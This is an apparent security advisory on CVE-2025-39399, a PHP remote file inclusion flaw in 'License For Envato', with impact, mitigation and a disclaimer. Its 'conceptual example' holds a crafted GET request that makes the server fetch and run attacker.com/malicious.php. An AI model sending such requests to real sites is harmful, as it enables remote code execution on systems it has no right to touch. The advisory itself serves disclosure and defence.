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CVE-2025-39399: PHP Remote File Inclusion Vulnerability in License For Envato

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Overview

This report covers the CVE-2025-39399 vulnerability, which is a PHP Remote File Inclusion issue in ‘License For Envato’ developed by Ashraful Sarkar Naiem. It primarily affects users of this software and could potentially lead to system compromise or data leakage. The severity of this vulnerability underlines the importance of immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39399
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

License For Envato | n/a through 1.0.0

How the Exploit Works

The exploit works due to improper control of the filename for include/require statements in the PHP program of the License For Envato software. An attacker can manipulate these statements to remotely load PHP files from an external server. This can lead to the execution of arbitrary PHP code on the affected system.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a crafted request to a vulnerable instance of License For Envato. The request could look something like this:

GET /vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, `vulnerable.php` is a script that includes or requires a file based on the `file` parameter, and `http://attacker.com/malicious.php` is an attacker-controlled file that contains malicious PHP code. When the server processes the request, it includes the malicious file, executing the attacker’s code.

Mitigation

Users are advised to apply patches provided by the vendor to fix this vulnerability. In cases where patches can’t be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also recommended to check and sanitize all inputs and avoid using user inputs directly in include/require statements in PHP programs.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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